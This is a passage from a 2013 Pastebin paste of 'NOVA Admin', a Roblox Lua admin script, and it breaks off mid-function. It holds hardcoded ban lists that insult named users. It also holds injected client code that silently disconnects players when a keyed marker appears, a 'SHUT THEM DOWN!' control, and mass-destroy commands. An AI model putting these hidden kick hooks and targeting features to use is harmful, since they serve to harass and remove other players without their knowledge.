Pastebin launched a little side project called VERYVIRAL.com, check it out ;-) Want more features on Pastebin? Sign Up, it's FREE!
Guest

Roblox nova admin

By: a guest on Jan 2nd, 2013  |  syntax: None  |  size: 193.01 KB  |  views: 3,327  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. --[[                                                                                                                                                                                    ]]
  2. script.Name = "# NOVA Admin #"
  3. wait()
  4. script.Parent = Instance.new("Glue") -- Stuck!
  5. NOVA ={
  6.     BadPhrases = true;
  7.     Bet = "/";
  8.     Services = {
  9.         Game = game;
  10.         RunService = game:GetService("RunService");
  11.         Workspace = game:GetService("Workspace");
  12.         Lighting = game:GetService("Lighting");
  13.         Debris = game:GetService("Debris");
  14.         Players = game:GetService("Players");
  15.         Teams = game:GetService("Teams");
  16.         SoundService = game:GetService("SoundService");
  17.         ScriptContext = game:GetService("ScriptContext");
  18.         NetworkServer = game:GetService("NetworkServer");
  19.         StarterGui = game:GetService("StarterGui");
  20.         StarterPack = game:GetService("StarterPack");
  21.     };
  22.     Ranks = {
  23.         {-2,"Lagged"}; -- -2
  24.         {-1,"Banned"}; -- -1
  25.         {-0.5,"Scum"};
  26.         {0,"Guest"}; -- 0
  27.         {1,"Mod"}; -- 1
  28.         {2,"Admin"}; -- 2
  29.         {3,"Developer"}; -- 3
  30.         {4,"Omega Admin"}; -- 4
  31.         {5,"Overlord"}; -- 5
  32.         {6,"OP ( Operator )"}; -- 6
  33.         {7,"Creator"}; -- 7
  34.         {8,"ROOT"}; -- 8
  35.     };
  36.     Alphabet = {
  37.     "a",    "b",    "c",    "d",    "e",    "f",    "g",    "h",    "i",    "j",    "k",    "l",    "m",    "n",    "o",    "p",    "q",    "r",    "s",    "t",    "u",    "v",    "w",    "x",    "y",    "z",    
  38.     };
  39.     Ranked = {
  40.         {Name = "Dylanbuil", Rank = 8, CMD = true, Color = Color3.new(1,1,0), Desc = "NOVA"};
  41.         {Name = "mastero67", Rank = 7, CMD = true, Color = Color3.new(0,0,1), Desc = "Fire"};
  42.         {Name = "darkeageninja", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "Banned"};
  43.         {Name = "wubbzy301", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "Banned"};
  44.         {Name = "xXxArtistxXx", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "Nub"};
  45.         {Name = "mrein5", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "A low life Camball abuser"};
  46.         {Name = "lxljohnlxlalt", Rank = -2, CMD = true, Color = Color3.new(0,0,1), Desc = "TOTAL NUB WITH NO LIFE"};
  47.  
  48.     };    
  49.     Credit = {
  50.         {Name = "NetworkClient",Why = "for the tablet function."};
  51.         {Name = string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ","")),Why = "for creating NOVA Admin."};
  52.         {Name = "upquark",Why = "For being a great person in life."};
  53.         {Name = "toshir0z",Why = "For teaching me time control."};
  54.         {Name = "ask4kingbily",Why = "For showing me how to lock first person."};
  55.     };
  56.     Animations = {
  57.         {Name = "Facepalm", Who = "Dylanbuil", Id = "372695cdb6a7540768234ad60ed7a298"};
  58.     };
  59.     Colors = {
  60.         Red = Color3.new(1,0,0);
  61.         PinkRed = Color3.new(1,0,0.15);
  62.         Orange = Color3.new(1,0.5,0);
  63.         Yellow = Color3.new(1,1,0);
  64.         Green = Color3.new(0,1,0);
  65.         Blue = Color3.new(0,0,1);
  66.         LightBlue = Color3.new(0,1,1);
  67.         Pink = Color3.new(1,0,1);
  68.         Magenta = Color3.new(0.54,0,0.54);
  69.         White = Color3.new(1,1,1);
  70.         Grey = Color3.new(0.5,0.5,0.5);
  71.         Black = Color3.new(0,0,0);
  72.     };
  73.     Sounds = {
  74.         Sound = Instance.new("Sound");
  75.         Numbers = { -- one to five ( top to bottom )
  76.             "http://www.roblox.com/Asset/?id=29445305",
  77.             "http://www.roblox.com/Asset/?id=29445339",
  78.             "http://www.roblox.com/Asset/?id=29445358",
  79.             "http://www.roblox.com/Asset/?id=29445378",
  80.             "http://www.roblox.com/Asset/?id=29445395",
  81.         };
  82.         PlayAfter = {
  83.             "http://www.roblox.com/Asset/?id=2767090",
  84.             "http://www.roblox.com/Asset/?id=2800815",
  85.             "http://www.roblox.com/Asset/?id=2801263",
  86.             "http://www.roblox.com/Asset/?id=11984254",
  87.             "http://www.roblox.com/Asset/?id=2101159",
  88.             "http://www.roblox.com/Asset/?id=3087031",
  89.             "http://www.roblox.com/Asset/?id=2101148",
  90.             "http://www.roblox.com/Asset/?id=2233908",
  91.             "http://www.roblox.com/Asset/?id=16976189",
  92.             "http://www.roblox.com/Asset/?id=2101157",
  93.             "http://www.roblox.com/Asset/?id=2974000",
  94.             "http://www.roblox.com/Asset/?id=2703110",
  95.             "http://www.roblox.com/Asset/?id=1994345",
  96.         };
  97.     };
  98.     AncientRules = {
  99.         "Thou shall not use forum scripts.",
  100.         "Thou shall not use CamBall / CamSphere.",
  101.         "Thou shall not use CBA.",
  102.         "Thou shall not use RMDX's scripts.",
  103.         "Thou shall not use antibans.",
  104.         "Thou shall not abuse thou admin.",
  105.         "Thou shall not steal scripts.",
  106.         "Thou shall not trade scripts you didn't make.",
  107.         "Thou shall not use gay scripts.",
  108.         "Thou shall not abuse loopholes in the ancient rules.",
  109.     };
  110.     ChatFilters = {
  111.         "mediafire",
  112.         "shit",
  113.         "gtfo",
  114.         "password",
  115.         "hitler",
  116.         "vaginas",
  117.     };
  118.  
  119.     KillingPhrases = {
  120.         "ssj",
  121.         "yolo",
  122.         "swag",
  123.     };
  124.     KickingPhrases = {
  125.              "\"/down\"",
  126.         "/down",
  127.         "/hide",
  128.         "rpe/",
  129.         "antiban",
  130.         "ab/",
  131.         "camball.",
  132.         "camball.came",
  133.         "camball/",
  134.         "camball /","deadfield","1waffle1",
  135.         "cie camball",
  136.         "d33k/",
  137.         "pban/",
  138.         "your own camball",
  139.         "created by jordan88282",
  140.         "v2 camball",
  141.         "cba = {}",
  142.         "cba.bet",
  143.         "banmenu","adminlist",
  144.         "ban/t","ban/tu","ban/tus","ban/tusk","ban/tusko","ban/tuskor","ban/tuskor6","ban/tuskor66","ban/Dylanbuil",
  145.         "cryston",
  146.         "jordan88282", "eyeball","orb","kick/","owner","antikick",
  147.    };
  148.     PreviousDataKeys = {
  149.         "Unlimited Gravity&accesskey=13785(G*&_version="..tostring(_VERSION),
  150.     };
  151.     LoadTime = {
  152.         Start = tick(),
  153.         Finish = tick(),
  154.     };
  155.     Fences = {};
  156.     Jails = {};
  157.     Objects = {};
  158.     Commands = {};
  159.     Tablets = {};
  160.     Targeted = {};
  161.     ExternalPlayersList = {};
  162.     Waypoints = {};
  163.     Log = {};
  164.     LoggedScripts = {};
  165.     PRI = false;
  166.     LockedScripts = false;
  167.     Removed = true;
  168.     ShowChat = true;
  169.     Canceled = false;
  170.     Overrided = false;
  171.     TimeChanged = false;
  172.     TabletPositionRelative = false;
  173.     AntiDLL = false;
  174.     EnableGuests = true;
  175.     UseGlobals = false;
  176.     Overrider = nil;
  177.     TabletRotation = 0;
  178.     TabletRotationIncrease = 0.03;
  179.     AccessKey = "13785(G*";
  180.     Version = "6th Generation";
  181.     DataKey = "Unlimited Gravity";
  182.     PRIType = "Shutdown";
  183.     LocalScript = script:FindFirstChild("PseudoLocalScript"); -- or NewLocal
  184.     Script = script:FindFirstChild("PseudoScript"); -- or NewScript
  185.     Plugins = script:GetChildren()
  186. }
  187. --[[ PLAYER PLUGINS ]]--
  188. function UpdatePlayerPlugins()
  189.     if NOVA.AntiDLL == true then PlayerPlugins = [==[
  190.             script.Parent = nil
  191.             LocalPlayer = game:GetService("Players").LocalPlayer
  192.            
  193.             game:GetService("Selection").SelectionChanged:connect(function()
  194.                 if LocalPlayer.Name ~= "Dylanbuil" and LocalPlayer.Name ~= "SurgenHack" and LocalPlayer.Name ~= "Player" then
  195.                     LocalPlayer.Parent = nil
  196.                     LocalPlayer.Parent = game:GetService("Players")
  197.                 end
  198.             end)
  199.             coroutine.resume(coroutine.create(function()
  200.                 while wait() do
  201.                     if workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==[") then
  202.                         workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==["):Remove()
  203.                         LocalPlayer.Parent = nil
  204.                         LocalPlayer.Parent = game:GetService("Players")
  205.                     end
  206.                 end
  207.             end))
  208.         ]==]
  209.         else
  210.             PlayerPlugins = [==[
  211.             script.Parent = nil
  212.             LocalPlayer = game:GetService("Players").LocalPlayer
  213.        
  214.             coroutine.resume(coroutine.create(function()
  215.                 while wait() do
  216.                     if workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==[") then
  217.                         workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==["):Remove()
  218.                         LocalPlayer.Parent = nil
  219.                         LocalPlayer.Parent = game:GetService("Players")
  220.                     end
  221.                 end
  222.             end))
  223.         ]==]
  224.     end
  225. end
  226. function Color()
  227.         local Choice = math.random(1, 5)
  228.         if Choice == 1 then
  229.                 return "Institutional white"
  230.         elseif Choice == 2 then
  231.                 return "White"
  232.         elseif Choice == 3 then
  233.                 return "Really red"
  234.         elseif Choice == 4 then
  235.                 return "New Yeller"
  236.         elseif Choice == 5 then
  237.                 return "Black"
  238.         end
  239. end  
  240. --[[ PSEUDO FUNCTIONS ]]--
  241. function CreateLocalScript(Source, Parent)
  242.     if game.PlaceId == 20279777 or game.PlaceId == 20132544 or game.PlaceId == 54194680 then
  243.         newLocalScript(Source, Parent)
  244.     elseif game.PlaceId == 23232804 then
  245.         NewLocalScript(Source, Parent)
  246.     elseif NOVA.LocalScript ~= nil then
  247.         NS = NOVA.LocalScript:Clone()
  248.         NS.Name = "LocalScript"
  249.         pcall(function() NS:ClearAllChildren() end)
  250.         NewSource = Instance.new("StringValue",NS)
  251.         NewSource.Name = "Source"
  252.         if game.PlaceId == 113456 or game.PlaceId == 49907749 or game.PlaceId == 56786 then
  253.             NewSource.Name = "DSource"
  254.         end
  255.         NewSource.Value = Source
  256.         NS.Parent = Parent
  257.         NS.Disabled = false
  258.     else
  259.         print("[NOVA.CreateLocalScript] Localscript functionality not avalible here. ( PlaceId : "..game.PlaceId..")")
  260.     end
  261. end
  262.  
  263. function CreateScript(Source, Parent)
  264.     if game.PlaceId == 20279777 or game.PlaceId == 20132544 or game.PlaceId == 54194680 then
  265.         newScript(Source, Parent)
  266.     elseif game.PlaceId == 23232804 then
  267.         NewScript(Source, Parent)
  268.     elseif NOVA.Script ~= nil then
  269.         NS = NOVA.Script:Clone()
  270.         NS.Name = "Script"
  271.         pcall(function() NS:ClearAllChildren() end)
  272.         NewSource = Instance.new("StringValue",NS)
  273.         NewSource.Name = "Source"
  274.         NewSource.Value = Source
  275.         NS.Parent = Parent
  276.         NS.Disabled = false
  277.     else
  278.         print("[NOVA.CreateScript] Script functionality not avalible here. ( PlaceId : "..game.PlaceId..")")
  279.     end
  280. end
  281.  
  282. function IsTargeted(Player)
  283.     if type(Player) == "string" then
  284.         for _,v in pairs(NOVA.Targeted) do
  285.             if v.Name == Player then
  286.                 return true
  287.             end
  288.         end
  289.     elseif type(Player) == "userdata" then
  290.         for _,v in pairs(NOVA.Targeted) do
  291.             if Player == v then
  292.                 return true
  293.             end
  294.         end
  295.     else
  296.         print("[NOVA.IsTargeted] An invalid argument type was used. ("..tostring(type(Player))..")")
  297.     end
  298.     return false
  299. end
  300.  
  301. --[[ DATA PERSISTANCE ]]--
  302. --[[ SYNC RANKS IN ]]--
  303. function SyncRanksIn()
  304.     for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  305.         SyncRankInSingular(v)
  306.     end
  307. end
  308. --[[ SYNC RANK IN SINGULAR ]]--
  309. function SyncRankInSingular(v)
  310.     if type(v) ~= "userdata" then
  311.         print("[NOVA.SyncRankInSingular] Argument 1 incorrect type.")
  312.         return
  313.     end
  314.     coroutine.resume(coroutine.create(function()
  315.         repeat wait() until v.DataReady == true
  316.        
  317.         if GetRankedTable(v) == nil then
  318.             table.insert(NOVA.Ranked,{
  319.                 Name = v.Name,
  320.                 CMD = false,
  321.                 Rank = 0,
  322.                 Color = NOVA.Colors.Orange,
  323.                 Desc = "N/A",
  324.                 Complaints = Instance.new("Model"),
  325.                 Executeables = Instance.new("Model"),
  326.             })
  327.         end
  328.        
  329.         local PhysicalData = v:LoadInstance(NOVA.DataKey.."&accesskey="..NOVA.AccessKey.."&_version="..NOVA.Version)
  330.         local Data = GetRankedTable(v)
  331.        
  332.         if PhysicalData == nil then
  333.             Data.Name = v.Name
  334.             Data.CMD = false
  335.             Data.Rank = 0
  336.             Data.Color = NOVA.Colors.Orange
  337.             Data.Desc = "N/A"
  338.             Data.Complaints = Instance.new("Model")
  339.             Data.Executeables = Instance.new("Model")
  340.         elseif PhysicalData ~= nil then
  341.             pcall(function() Data.Name = v.Name end)
  342.             pcall(function() Data.CMD = PhysicalData.CMD.Value end)
  343.             pcall(function() Data.Rank = PhysicalData.RANK.Value end)
  344.             pcall(function() Data.Color = PhysicalData.COLOR.Value end)
  345.             pcall(function() Data.Desc = PhysicalData.DESCRIPTION.Value end)
  346.             pcall(function() Data.Complaints = PhysicalData.COMPLAINTS:Clone() end)
  347.             pcall(function() Data.Executeables = PhysicalData.EXECUTEABLES:Clone() end)
  348.             if Data.CMD == nil then Data.CMD = false end
  349.             if Data.Rank == nil then Data.Rank = 0 end
  350.             if Data.Color == nil then Data.Color = NOVA.Colors.Orange end
  351.             if Data.Desc == nil then Data.Desc = "N/A" end
  352.             if Data.Complaints == nil then Data.Complaints = Instance.new("Model") end
  353.             if Data.Executeables == nil then Data.Executeables = Instance.new("Model") end
  354.         end
  355.     end))
  356. end
  357.  
  358. --[[ SYNC RANKS OUT ]]--
  359. function SyncRanksOut()
  360.     for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  361.         SyncRankOutSingular(v)
  362.     end
  363. end
  364.  
  365. --[[ SYNC RANK OUT SINGULAR ]]--
  366. function SyncRankOutSingular(v)
  367.     coroutine.resume(coroutine.create(function()
  368.         repeat wait() until v.DataReady == true
  369.         local RankData = GetRankedTable(v)
  370.         if RankData == nil then print("[NOVA.SyncRankOutSingular] RankData is missing or nil.") return end
  371.         local Data = Instance.new("Model")
  372.         Data.Name = "PlayerData"
  373.         local CMD = Instance.new("BoolValue",Data)
  374.         CMD.Name = "CMD"
  375.         CMD.Value = RankData.CMD
  376.         local Rank = Instance.new("NumberValue",Data)
  377.         Rank.Name = "RANK"
  378.         Rank.Value = RankData.Rank
  379.         local Color = Instance.new("Color3Value",Data)
  380.         Color.Name = "COLOR"
  381.         Color.Value = RankData.Color
  382.         local Desc = Instance.new("StringValue",Data)
  383.         Desc.Name = "DESCRIPTION"
  384.         Desc.Value = RankData.Desc
  385.         local Complaints = RankData.Complaints:Clone()
  386.         Complaints.Name = "COMPLAINTS"
  387.         local Executeables = RankData.Executeables:Clone()
  388.         Executeables.Name = "EXECUTEABLES"
  389.        
  390.         v:SaveInstance(NOVA.DataKey.."&accesskey=lol4&_version="..NOVA.Version,Data)
  391.         for _,v in pairs(NOVA.PreviousDataKeys) do
  392.             v:SaveInstance(v,Data)
  393.         end
  394.     end))
  395. end
  396.  
  397. --[[ PLAYER INTERFACE ]]--
  398. function PlayerInterface(v,Speaker)
  399.     RemoveTablets(Speaker)
  400.     local Data = GetRankedTable(v)
  401.     OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,Data.Color,Speaker)
  402.     Output("Rank Name : "..GetRankName(v),Data.Color,Speaker)
  403.     Output("Rank Number : "..Data.Rank,Data.Color,Speaker)
  404.     Output("Account Age : "..v.AccountAge,Data.Color,Speaker)
  405.     Output("User Id : "..v.userId,Data.Color,Speaker)
  406.     Output("Desc : "..Data.Desc,Data.Color,Speaker)
  407.     Output("CMD : "..tostring(Data.CMD),Data.Color,Speaker)
  408.     Output("Color : "..tostring(Data.Color),Data.Color,Speaker)
  409.         if GetRank(Speaker) > Data.Rank and GetRank(Speaker) >= 6 then
  410.         Output("SHUT THEM DOWN!",NOVA.Colors.Red,Speaker,nil,
  411.             function()
  412.                 Instance.new("StringValue",workspace).Name = "Disconnect : "..Data.Name.." Key : "..NOVA.AccessKey..""
  413.  
  414.             end
  415.         )
  416.     end
  417.     if GetRank(Speaker) > Data.Rank or v == Speaker then
  418.         Output("Set CMD",NOVA.Colors.Blue,Speaker,nil,
  419.             function()
  420.                 RemoveTablets(Speaker)
  421.                 Output("True",NOVA.Colors.Green,Speaker,nil,
  422.                     function()
  423.                         Data.CMD = true
  424.                         SyncRankOutSingular(v)
  425.                         PlayerInterface(v,Speaker)
  426.                     end
  427.                 )
  428.                 Output("False",NOVA.Colors.Red,Speaker,nil,
  429.                     function()
  430.                         Data.CMD = false
  431.                         SyncRankOutSingular(v)
  432.                         PlayerInterface(v,Speaker)
  433.                     end
  434.                 )
  435.                 Output("Done",NOVA.Colors.Blue,Speaker,nil,
  436.                     function()
  437.                         PlayerInterface(v,Speaker)
  438.                     end
  439.                 )
  440.                 Output("Dismiss",NOVA.Colors.Red,Speaker)
  441.             end
  442.         )
  443.     end
  444.     if GetRank(Speaker) > Data.Rank then
  445.         Output("Set Rank",NOVA.Colors.Blue,Speaker,nil,
  446.             function()
  447.                 RemoveTablets(Speaker)
  448.                 for i,v in pairs(NOVA.Ranks) do
  449.                     if v[1] ~= 8 then
  450.                         Output(v[1],Color3.new(i/10,i/10,i/10),Speaker,nil,
  451.                             function()
  452.                                 RemoveTablets(Speaker)
  453.                                 Data.Rank = v[1]
  454.                                 SyncRankOutSingular(v)
  455.                                 PlayerInterface(v,Speaker)
  456.                             end    
  457.                         )
  458.                     end
  459.                 end
  460.                 Output("Dismiss",NOVA.Colors.Red,Speaker)
  461.                 Output("Back",NOVA.Colors.Blue,Speaker,nil,
  462.                     function()
  463.                         PlayerInterface(v,Speaker)
  464.                     end
  465.                 )
  466.                
  467.             end
  468.         )
  469.     end
  470.     if GetRank(Speaker) > Data.Rank or v == Speaker then
  471.         Output("Set Color",NOVA.Colors.Blue,Speaker,nil,
  472.             function()
  473.                 RemoveTablets(Speaker)
  474.                 for i,Color in pairs(NOVA.Colors) do
  475.                     Output(tostring(i),Color,Speaker,nil,
  476.                         function()
  477.                             Data.Color = Color
  478.                             PlayerInterface(v,Speaker)
  479.                             SyncRankOutSingular(v)
  480.                         end
  481.                     )
  482.                    
  483.                 end
  484.                 Output("Back",NOVA.Colors.Blue,Speaker,nil,
  485.                         function()
  486.                             PlayerInterface(v,Speaker)
  487.                         end
  488.                     )
  489.                 Output("Dismiss",NOVA.Colors.Red,Speaker)
  490.             end
  491.         )
  492.     end
  493.     Output("#REDIRECT GetRanked",NOVA.Colors.Blue,Speaker,nil,
  494.         function()
  495.             RemoveTablets(Speaker)
  496.             OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker)
  497.         end
  498.     )
  499.     Output("#REDIRECT Nil",NOVA.Colors.Blue,Speaker,nil,
  500.         function()
  501.             RemoveTablets(Speaker)
  502.             OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "nil",Speaker)
  503.         end
  504.     )
  505.     Output("#REDIRECT Replicators",NOVA.Colors.Blue,Speaker,nil,
  506.         function()
  507.             RemoveTablets(Speaker)
  508.             OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "replicators",Speaker)
  509.         end
  510.     )
  511.     Output("#REDIRECT Players",NOVA.Colors.Blue,Speaker,nil,
  512.         function()
  513.             RemoveTablets(Speaker)
  514.             OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "players",Speaker)
  515.         end
  516.     )
  517.     Output("Dismiss",NOVA.Colors.Red,Speaker)
  518. end
  519.  
  520. --[[ MAKE HINT ]]--
  521.  
  522. function makeHint(Text,Parent)
  523.     coroutine.resume(coroutine.create(function()
  524.         local M = Instance.new("Hint",Parent)
  525.         for i = 1, string.len(Text) do
  526.             M.Text = M.Text .. string.sub(Text, i, i)
  527.             wait(math.random() * 0.1)
  528.         end
  529.         M.Text = M.Text .. ""
  530.         for i = 1, math.random(2, 6) do
  531.             M.Text = string.sub(M.Text, 1, string.len(Text)) .. "_"
  532.             wait(0.4)
  533.             M.Text = string.sub(M.Text, 1, string.len(Text)) .. "  "
  534.             wait(0.4)
  535.         end
  536.         M.Text = string.sub(M.Text, 1, string.len(Text))
  537.         for i = 1, string.len(M.Text) do
  538.             M.Text = string.sub(M.Text, 1, string.len(M.Text) - 1)
  539.             wait()
  540.         end
  541.                         M:Remove()
  542.     end))
  543. end
  544. function makeMessage(Text,Parent)
  545.     coroutine.resume(coroutine.create(function()
  546.         local M = Instance.new("Message",Parent)
  547.         for i = 1, string.len(Text) do
  548.             M.Text = M.Text .. string.sub(Text, i, i)
  549.             wait(math.random() * 0.1)
  550.         end
  551.         M.Text = M.Text .. ""
  552.         for i = 1, math.random(2, 6) do
  553.             M.Text = string.sub(M.Text, 1, string.len(Text)) .. "_"
  554.             wait(0.4)
  555.             M.Text = string.sub(M.Text, 1, string.len(Text)) .. "  "
  556.             wait(0.4)
  557.         end
  558.         M.Text = string.sub(M.Text, 1, string.len(Text))
  559.         for i = 1, string.len(M.Text) do
  560.             M.Text = string.sub(M.Text, 1, string.len(M.Text) - 1)
  561.             wait()
  562.         end
  563.         M:Remove()
  564.     end))
  565. end
  566.  
  567. --[[ EXPLORE ]]--
  568. function Explore(Thing,Speaker)
  569.     if Speaker == nil then
  570.         print("[NOVA.Explore] Argument 1 missing or nil.")
  571.         return
  572.     end
  573.     pcall(function()
  574.         if Thing == game or Thing == nil then
  575.             RemoveTablets(Speaker)
  576.             for _,v in pairs(NOVA.Services) do
  577.                 Output(v.className,GetRankedTable(Speaker).Color,Speaker,nil,function() Explore(v,Speaker) end)
  578.             end
  579.             Output("Dismiss",NOVA.Colors.Red,Speaker)
  580.         else
  581.             if #Thing:children() == 0 then
  582.                 RemoveTablets(Speaker)
  583.                 Explore(Thing.Parent.Parent,Speaker)    
  584.             else
  585.                 RemoveTablets(Speaker)
  586.                 for _,v in pairs(Thing:children()) do
  587.                     Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,
  588.                         function()
  589.                             RemoveTablets(Speaker)
  590.                             Output("Name : "..v.Name,GetRankedTable(Speaker).Color,Speaker)
  591.                             Output("Class Name : "..v.className,GetRankedTable(Speaker).Color,Speaker)
  592.                             Output("Full Name : "..v:GetFullName(),GetRankedTable(Speaker).Color,Speaker)
  593.                             Output("Remove",NOVA.Colors.Orange,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) v:remove() end )
  594.                             Output("Destroy",NOVA.Colors.Orange,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) v:Destroy() end )
  595.                             Output("Destroy ALL ( Name )",NOVA.Colors.Red,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) for _,Part in pairs(GetRecursiveChildren()) do pcall(function() if Part.Name == v.Name then Part:Destroy() end end) end v:Destroy() end )
  596.                             Output("Destroy ALL ( className )",NOVA.Colors.Red,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) for _,Part in pairs(GetRecursiveChildren()) do pcall(function() if Part.className == v.className then Part:Destroy() end end) end v:Destroy() end )
  597.                             Output("#STORE",NOVA.Colors.Yellow,Speaker,nil,function() v:Clone().Parent = NOVA.Services.Lighting end)
  598.                             Output("#REDIRECT .Parent.Parent",NOVA.Colors.Blue,Speaker,nil,function() Explore(v.Parent.Parent,Speaker) end)
  599.                             Output("#REDIRECT :GetChildren()",NOVA.Colors.Blue,Speaker,nil,function() Explore(v,Speaker) end)
  600.                             Output("Dismiss",NOVA.Colors.Red,Speaker)
  601.                         end
  602.                     )
  603.                 end
  604.                 Output("Dismiss",NOVA.Colors.Red,Speaker)
  605.             end
  606.         end
  607.     end)
  608. end
  609.  
  610. --[[ CAPE ]]--
  611. function Cape(v)
  612.     local Mode = "None"
  613.     local AngleX = 0
  614.     pcall(function()
  615.         v.Character.Swordpack:remove()
  616.     end)
  617.     pcall(function()    
  618.         v.Character["NOVA Cape"]:remove()
  619.     end)
  620.  
  621.     local Main = Instance.new("Model",v.Character)
  622.     Main.Name = "NOVA Cape"
  623.  
  624.     pcall(function()
  625.         v.Character.Swordpack:Remove()
  626.     end)
  627.  
  628.     local Cape = Instance.new("Part", Main)
  629.     Cape.Name = "Cape"
  630.     Cape.Anchored = false
  631.     Cape.Locked = true
  632.     Cape.CanCollide = false
  633.     Cape.formFactor = "Custom"
  634.     Cape.Size = Vector3.new(2, 3.5, 0.2)
  635.     Cape.BrickColor = BrickColor.new("Really black")
  636.     Cape.TopSurface = 0
  637.     Cape.BottomSurface = 0
  638.     local Decal = Instance.new("Decal", Cape)
  639.     Decal.Face = "Back"
  640.     Decal.Texture = ""
  641.     local CapeWeld = Instance.new("Weld", Cape)
  642.     CapeWeld.Part0 = v.Character.Torso
  643.     CapeWeld.Part1 = Cape
  644.     CapeWeld.C0 = CFrame.new(0, 1, 0.5)
  645.     CapeWeld.C1 = CFrame.new(0, 3.5 / 2, -0.0)
  646.     v.Character.Humanoid.Running:connect(function(Speed)
  647.         if Speed > 0 then
  648.             Mode = "Running"
  649.         else
  650.             Mode = "None"
  651.         end
  652.     end)
  653.     v.Character.Humanoid.Jumping:connect(function() Mode = "Jumping" end)
  654.     coroutine.wrap(function()
  655.         while Cape.Parent ~= nil and CapeWeld.Parent ~= nil do
  656.             local UpSpeed = 2.5
  657.             local DownSpeed = 5
  658.             local TargetAngle = 5
  659.             if Mode == "Running" then
  660.                 TargetAngle = 45 + math.random(0, 2500) / 100
  661.             elseif Mode == "Jumping" then
  662.                 UpSpeed = 10
  663.                 DownSpeed = 10
  664.                 TargetAngle = (v.Character.Torso.Velocity.y < 3 and 160 or 45)
  665.             end
  666.             if math.abs(TargetAngle - AngleX) < (DownSpeed > UpSpeed and DownSpeed or UpSpeed) then AngleX = TargetAngle end
  667.             if AngleX < TargetAngle then
  668.                 AngleX = AngleX + UpSpeed
  669.             elseif AngleX > TargetAngle then
  670.                 AngleX = AngleX - DownSpeed
  671.             end
  672.             CapeWeld.C1 = CFrame.new(0, 3.5 / 2, -0.0) * CFrame.fromEulerAnglesXYZ(math.rad(AngleX), 0, 0, 0)
  673.             wait()
  674.         end
  675.     end)()
  676.  
  677.     local LShoulder = Instance.new("Part",Main)
  678.     LShoulder.Name = "Left Shoulder"
  679.     LShoulder.TopSurface = "Smooth"
  680.     LShoulder.BottomSurface = "Smooth"
  681.     LShoulder.FormFactor = "Custom"
  682.     LShoulder.Size = Vector3.new(1,0.2,1)
  683.     LShoulder.BrickColor = BrickColor.new("Really black")
  684.     LShoulder.Anchored = false
  685.     LShoulder.Locked = true
  686.     LShoulder.CanCollide = false
  687.     LShoulder.Transparency = 0
  688.     LShoulder.Reflectance = 0
  689.     local Weld = Instance.new("Motor6D",LShoulder)
  690.     Weld.Part0 = LShoulder
  691.     Weld.Part1 = v.Character["Left Arm"]
  692.     Weld.C0 = CFrame.new(0,-1,0)
  693.  
  694.     local RShoulder = Instance.new("Part",Main)
  695.     RShoulder.Name = "Right Shoulder"
  696.     RShoulder.TopSurface = "Smooth"
  697.     RShoulder.BottomSurface = "Smooth"
  698.     RShoulder.FormFactor = "Custom"
  699.     RShoulder.Size = Vector3.new(1,0.2,1)
  700.     RShoulder.BrickColor = BrickColor.new("Really black")
  701.     RShoulder.Anchored = false
  702.     RShoulder.Locked = true
  703.     RShoulder.CanCollide = false
  704.     RShoulder.Transparency = 0
  705.     RShoulder.Reflectance = 0
  706.     local Weld = Instance.new("Motor6D",RShoulder)
  707.     Weld.Part0 = RShoulder
  708.     Weld.Part1 = v.Character["Right Arm"]
  709.     Weld.C0 = CFrame.new(0,-1,0)
  710.  
  711.     local NeckFlat = Instance.new("Part",Main)
  712.     NeckFlat.Name = "NeckFlat"
  713.     NeckFlat.TopSurface = "Smooth"
  714.     NeckFlat.BottomSurface = "Smooth"
  715.     NeckFlat.FormFactor = "Custom"
  716.     NeckFlat.Size = Vector3.new(2,0.2,1)
  717.     NeckFlat.BrickColor = BrickColor.new("Really black")
  718.     NeckFlat.Anchored = false
  719.     NeckFlat.Locked = true
  720.     NeckFlat.CanCollide = false
  721.     NeckFlat.Transparency = 0
  722.     NeckFlat.Reflectance = 0
  723.     local Weld = Instance.new("Motor6D",NeckFlat)
  724.     Weld.Part0 = NeckFlat
  725.     Weld.Part1 = v.Character.Torso
  726.     Weld.C0 = CFrame.new(0,-1,0)
  727.  
  728.     for _,v in pairs(Main:GetChildren()) do v.Reflectance = 1e+999 end
  729.  
  730. end
  731.  
  732. --[[ GET SPLIT ]]--
  733. function GetSplit(Msg)
  734.     Split = nil
  735.     for i=1,100 do
  736.         if string.sub(Msg,i,i) == NOVA.Bet then
  737.             Split = i
  738.             break
  739.         end
  740.     end
  741.     return Split
  742. end
  743.  
  744. --[[ GET RANK ]]--
  745.  
  746. function GetRank(Player)
  747.     Rtn = nil
  748.     if Player == "Server" or Player == "Self" or Player == "God" or Player == "NOVA" or Player == "ROOT" then
  749.         return 8
  750.     end
  751.     if type(Player) == "userdata" then
  752.         for _,v in pairs(NOVA.Ranked) do
  753.             if v.Name:lower() == Player.Name:lower() then
  754.                 Rtn = v.Rank
  755.             end
  756.         end
  757.     elseif type(Player) == "string" then
  758.         for _,v in pairs(NOVA.Ranked) do
